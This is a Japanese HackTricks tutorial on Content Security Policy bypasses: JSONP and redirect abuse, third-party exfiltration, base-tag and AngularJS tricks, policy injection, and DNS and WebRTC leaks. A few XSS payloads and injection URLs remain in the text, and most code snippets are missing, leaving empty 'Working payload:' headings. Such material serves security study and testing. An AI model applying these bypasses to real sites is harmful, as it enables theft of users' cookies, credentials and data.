Content Security Policy (CSP) Bypass
Last updated
Last updated
AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)
HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
最新の発表 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう！
コンテンツセキュリティポリシー (CSP) は、主にクロスサイトスクリプティング (XSS)などの攻撃から保護することを目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン（自己）からのリソースの読み込みと実行を許可することがあり、インラインリソースやeval、setTimeout、setIntervalなどの関数を通じて文字列コードの実行を含むことがあります。
CSPの実装は、レスポンスヘッダーを介して行われるか、HTMLページにメタ要素を組み込むことによって行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
レスポンスヘッダーを介して実装：
メタタグを介して実装された：
CSPはこれらのヘッダーを使用して強制または監視できます：
Content-Security-Policy: CSPを強制します; ブラウザは違反をブロックします。
Content-Security-Policy-Report-Only: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
CSPは、アクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行やeval()の使用などの側面を制御します。例のポリシーは：
script-src: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
default-src: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
child-src: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
frame-src: フレームのためのURLを制限します。
frame-ancestors: 現在のページを埋め込むことができるソースを指定します。これは、<frame>、<iframe>、<object>、<embed>、および<applet>などの要素に適用されます。
img-src: 画像のために許可されたソースを定義します。
font-src: @font-faceを使用して読み込まれるフォントのための有効なソースを指定します。
manifest-src: アプリケーションマニフェストファイルのために許可されたソースを定義します。
media-src: メディアオブジェクトを読み込むために許可されたソースを定義します。
object-src: <object>、<embed>、および<applet>要素のために許可されたソースを定義します。
base-uri: <base>要素を使用して読み込むための許可されたURLを指定します。
form-action: フォーム送信のための有効なエンドポイントをリストします。
plugin-types: ページが呼び出すことができるmimeタイプを制限します。
upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
sandbox: <iframe>のsandbox属性に似た制限を適用します。
report-to: ポリシーが違反された場合に報告が送信されるグループを指定します。
worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
prefetch-src: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
navigate-to: ドキュメントがあらゆる手段（a、form、window.location、window.openなど）でナビゲートできるURLを制限します。
*: data:, blob:, filesystem:スキームを除くすべてのURLを許可します。
'self': 同じドメインからの読み込みを許可します。
'data': データスキーム（例：Base64エンコードされた画像）を介してリソースを読み込むことを許可します。
'none': どのソースからの読み込みもブロックします。
'unsafe-eval': eval()や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
'unsafe-hashes': 特定のインラインイベントハンドラを有効にします。
'unsafe-inline': インライン<script>や<style>のようなインラインリソースの使用を許可しますが、セキュリティ上の理由から推奨されません。
'nonce': 暗号的なノンス（1回限り使用される番号）を使用する特定のインラインスクリプトのホワイトリストです。
JSの実行が制限されている場合、doc.defaultView.top.document.querySelector("[nonce]")を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です（strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません）。以下のように：
'sha256-<hash>': 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。
'strict-dynamic': ノンスまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。
'host': example.comのような特定のホストを指定します。
https:: HTTPSを使用するURLに制限します。
blob:: Blob URL（例：JavaScriptを介して作成されたBlob URL）からリソースを読み込むことを許可します。
filesystem:: ファイルシステムからリソースを読み込むことを許可します。
'report-sample': 違反報告に違反コードのサンプルを含めます（デバッグに便利です）。
'strict-origin': 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを保証します（安全なオリジンのみが安全なオリジンからリソースを読み込むことができます）。
'strict-origin-when-cross-origin': 同一オリジンリクエストを行う際に完全なURLを送信しますが、クロスオリジンリクエストの場合はオリジンのみを送信します。
'unsafe-allow-redirects': すぐに別のリソースにリダイレクトされるリソースを読み込むことを許可します。セキュリティを弱めるため推奨されません。
Working payload: "/><script>alert(1);</script>
これは機能していません。詳細についてはこちらを確認してください。
作業ペイロード:
もしあなたが何らかの方法で許可されたJSコードがあなたのJSコードで新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行を許可される。
作業ペイロード:
これはもはや機能していないようです
作動するペイロード:
もしJSファイルをアップロードできれば、このCSPをバイパスできます：
Working payload:
しかし、サーバーがアップロードされたファイルを検証している可能性が高く、特定のタイプのファイルのみをアップロードすることを許可するでしょう。
さらに、サーバーが受け入れる拡張子を持つファイルにJSコードを含めてアップロードできたとしても（例：script.png）、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは拡張子に基づいてファイルのMIMEタイプを選択し、Chromeのようなブラウザは画像であるべきものの中のJavascriptコードを実行することを拒否します。「幸運にも」、ミスがあります。例えば、CTFから学んだことですが、Apacheは_.wave_拡張子を知らないため、*audio/のようなMIMEタイプで提供しません。
ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます（ここにいくつかのポリグロットの例があります）。
JSを注入することが不可能な場合でも、例えば資格情報をフォームアクションを注入することで流出させることを試みることができます（そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません）。このレポートに例がありますもご覧ください。また、default-srcはフォームアクションをカバーしていないことに注意してください。
以下のペイロードのいくつかに対しては、unsafe-evalは必要ない場合もあります。
脆弱なバージョンのangularをロードし、任意のJSを実行します:
windowオブジェクトを返す関数を持つライブラリ (この投稿をチェックしてください):この投稿では、cdn.cloudflare.com（または他の許可されたJSライブラリリポジトリ）からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindowオブジェクトを返すかを確認できることが示されています。
Angular XSSはクラス名から:
このCTFの解説によると、CSP内でhttps://www.google.com/recaptcha/を悪用して、CSPをバイパスし任意のJSコードを実行できます：
More この文書からのペイロード:
次のURLはexample.comにリダイレクトします（こちらから）：
*.google.com/script.google.comの悪用
script.google.com内のページで情報を受け取るためにGoogle Apps Scriptを悪用することが可能です。これはこのレポートで行われています。
このようなシナリオでは、script-srcがselfと特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード：
JSONBee は、さまざまなウェブサイトのCSPバイパス用の即使用可能なJSONPエンドポイントを含んでいます。
信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
以下の投稿で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインが、データを抽出したりJavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです：
| エンティティ | 許可されたドメイン | 機能 |
|---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。
例えば、次のCSPが見つかった場合：
or
あなたはデータを抽出できるはずです。これは、Google Analytics/Google Tag Managerで常に行われてきたのと同様です。この場合、次の一般的な手順に従います。
ここでFacebook Developerアカウントを作成します。
新しい「Facebook Login」アプリを作成し、「Website」を選択します。
「Settings -> Basic」に移動し、「App ID」を取得します。
データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを通じてデータを抽出できます。
あなたのアプリの「Event Manager」に移動し、作成したアプリケーションを選択します（イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events）。
「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するために次のコードを実行します。
他の7つのサードパーティドメインについては、前の表に記載されている通り、悪用する方法がたくさんあります。その他のサードパーティの悪用についての追加説明は、以前のブログ投稿を参照してください。
前述のパス制限を回避するためのリダイレクトに加えて、いくつかのサーバーで使用できる相対パス上書き（RPO）という別の技術があります。
例えば、CSPがパスhttps://example.com/scripts/react/を許可している場合、次のようにバイパスできます：
ブラウザは最終的に https://example.com/scripts/angular/angular.js を読み込みます。
これは、ブラウザにとって https://example.com/scripts/react/ の下にある ..%2fangular%2fangular.js という名前のファイルを読み込んでいるため、CSPに準拠しています。
∑、彼らはそれをデコードし、実際には https://example.com/scripts/react/../angular/angular.js をリクエストします。これは https://example.com/scripts/angular/angular.js と同等です。
ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます。
解決策は、サーバー側で %2f を / として扱わないようにし、ブラウザとサーバー間で一貫した解釈を確保してこの問題を回避することです。
オンライン例： https://jsbin.com/werevijewa/edit?html,output
base-uri ディレクティブが欠落している場合、ダングリングマークアップインジェクションを実行するために悪用できます。
さらに、相対パスを使用してスクリプトを読み込んでいるページ（例えば <script src="/js/app.js">）が Nonce を使用している場合、base タグ を悪用して 自分のサーバーからスクリプトを読み込ませ、XSSを達成することができます。
脆弱なページが httpS で読み込まれている場合、baseにhttpS URLを使用してください。
特定のポリシーであるContent Security Policy (CSP)はJavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト$eventを提供します。この$eventオブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、$event/eventオブジェクトはpath属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持し、windowオブジェクトが常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
この配列をorderByフィルターに向けることで、反復処理が可能になり、端末要素（windowオブジェクト）を利用してalert()のようなグローバル関数をトリガーできます。以下に示すコードスニペットはこのプロセスを明示しています：
このスニペットは、ng-focusディレクティブを使用してイベントをトリガーし、$event.path|orderByを使用してpath配列を操作し、windowオブジェクトを利用してalert()関数を実行し、document.cookieを表示する方法を強調しています。
他のAngularバイパスを見つけるには https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、このgitリポジトリで入手できます。
動作するペイロード:
他のJSONP任意実行エンドポイントはこちらで見つけることができます（いくつかは削除または修正されました）
CSPがサーバーサイドのリダイレクションに遭遇した場合、何が起こるのでしょうか？リダイレクションが許可されていない異なるオリジンに向かう場合、依然として失敗します。
しかし、CSP仕様4.2.2.3. パスとリダイレクションの説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
以下はその例です：
CSPがhttps://www.google.com/a/b/c/dに設定されている場合、パスが考慮されるため、/testおよび/a/testスクリプトはCSPによってブロックされます。
しかし、最終的なhttp://localhost:5555/301はサーバー側でhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//にリダイレクトされます。リダイレクションであるため、パスは考慮されず、スクリプトを読み込むことができ、したがってパス制限を回避します。
このリダイレクションにより、パスが完全に指定されていても、依然として回避されます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
'unsafe-inline'は、コード内の任意のスクリプトを実行できることを意味します（XSSはコードを実行できます）し、img-src *は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
このCSPをバイパスするには、画像を介してデータを抽出します（この場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します）：
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
この設定を悪用して、画像内に挿入されたjavascriptコードを読み込むこともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、特別な画像を作成し、それをTwitterにアップロードして、"unsafe-inline"を悪用して、JSコードを実行することができます（通常のXSSとして）それが画像を読み込み、その中からJSを抽出し、それを実行します: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
サービスワーカーの**importScripts**関数はCSPによって制限されません:
研究: https://portswigger.net/research/bypassing-csp-with-policy-injection
あなたが送信したパラメータがポリシーの宣言内に貼り付けられている場合、あなたはポリシーを変更して無効にすることができます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline'を許可することができます:
このディレクティブは既存のscript-srcディレクティブを上書きします。 ここに例があります: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edgeでははるかに簡単です。CSPにこれだけ追加できれば: ;_ Edgeはポリシー全体を削除します。
例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
ディレクティブ 'unsafe-inline' の欠如に注意してください。
今回は、被害者にあなたの制御下にあるページをXSSを介して**で読み込ませることができます。今回は、被害者に情報を抽出したいページにアクセスさせます（CSRF）。ページの内容にはアクセスできませんが、もし何らかの方法でページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
今回は、フラグが抽出されます。SQLiを介して文字が正しく推測されるたびに、レスポンスがスリープ関数のためにより多くの時間を要します。そうすれば、フラグを抽出できるようになります。
この攻撃は、攻撃者がユーザーにブラウザのブックマークレットの上にリンクをドラッグ＆ドロップさせることを納得させるというソーシャルエンジニアリングを含みます。このブックマークレットには、悪意のあるjavascriptコードが含まれており、ドラッグ＆ドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします。
詳細については、こちらで元のレポートを確認してください。
このCTFの解説では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、プロトタイプ汚染やDOMクラッキングを介して異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。
**csp**属性を使用して、IframeのCSPを制限することができます：
このCTFの解説では、HTMLインジェクションを通じてCSPをより制限することが可能であり、その結果、CSTIを防ぐスクリプトが無効化され、脆弱性が悪用可能になりました。 CSPはHTMLメタタグを使用してより制限的にすることができ、インラインスクリプトを無効にすることでエントリを削除し、nonceを許可し、shaを介して特定のインラインスクリプトを有効にすることができます。
もしサーバーが**Content-Security-Policy-Report-Onlyヘッダーをあなたが制御する値で応答するように管理できれば（おそらくCRLFのため）、それをあなたのサーバーを指すように設定でき、もし<script>でエクスフィルしたいJSコンテンツをラップすると、CSPによってunsafe-inlineが許可されていない可能性が高いため、これがCSPエラー**を引き起こし、スクリプトの一部（機密情報を含む）がContent-Security-Policy-Report-Onlyからサーバーに送信されます。
例としてこのCTFの解説を確認してください。
iframeが作成され、CSPによって許可されたURL（これをhttps://example.redirect.comと呼びます）を指します。
このURLは、CSPによって許可されていない秘密のURL（例：https://usersecret.example2.com）にリダイレクトします。
securitypolicyviolationイベントをリッスンすることで、blockedURIプロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作による機密情報の漏洩の可能性があります。
別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです：
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます。
両方の方法は、CSPの実装とブラウザでの動作のニュアンスを利用しており、一見安全なポリシーが意図せずに機密情報を漏洩させる可能性があることを示しています。
こちらのトリック。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください！
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう！
この動画でコメントされた最後の技術によると、パラメータを多く送信すると（1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能）、PHPウェブコードで定義された**header()は、これが引き起こすエラーのために送信されません**。
PHPはデフォルトで4096バイトまでレスポンスをバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することで、レスポンスがCSPヘッダーの前に送信され、ヘッダーが無視されることになります。 その後、この技術は基本的に警告でレスポンスバッファを埋めることにより、CSPヘッダーが送信されないようにします。
この書き込みからのアイデア。
この書き込みによると、エラーページ（CSPがない可能性がある）を読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
SOMEは、ページのエンドポイントでのXSS（または非常に制限されたXSS）を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法で、脆弱なエンドポイントは、ペイロード内の**opener**オブジェクトを使用して、悪用する実際のエンドポイントのDOMにアクセスできます。詳細については、次を確認してください：
さらに、wordpressには、/wp-json/wp/v2/users/1?_jsonp=dataにJSONPエンドポイントがあり、出力に送信されたデータを反映します（文字、数字、ドットのみの制限があります）。
攻撃者は、そのエンドポイントを悪用して、WordPressに対してSOME攻撃を生成し、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>内に埋め込むことができます。このスクリプトは、'self'によって許可されているため、読み込まれます。さらに、WordPressがインストールされているため、攻撃者はCSPをバイパスする脆弱なコールバックエンドポイントを通じてSOME攻撃を悪用し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...
この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を確認してください。
厳格なCSPがあり、外部サーバーと対話することを許可しない場合、情報を抽出するために常にできることがいくつかあります。
攻撃者のサーバーに秘密の情報を送信するために、単にロケーションを更新することができます：
メタタグを注入することでリダイレクトできます（これは単なるリダイレクトであり、コンテンツは漏れません）
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決させるには、次のように指定できます: <link rel="dns-prefetch" href="something.com">
この動作を悪用して、DNSリクエストを介して機密情報を漏洩させることができます:
別の方法：
この問題を避けるために、サーバーはHTTPヘッダーを送信できます：
どうやら、この技術はヘッドレスブラウザ（ボット）では機能しないようです。
いくつかのページでは、WebRTCはCSPのconnect-srcポリシーをチェックしないと書かれています。
実際、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードを確認してください:
別のオプション：
https://csper.io/docs/generating-content-security-policy
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください！
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握しましょう
最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
私たちに参加してください Discordで、今日からトップハッカーとコラボレーションを始めましょう！
```html ```
AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する： HackTricks Training GCP Red Team Expert (GRTE)
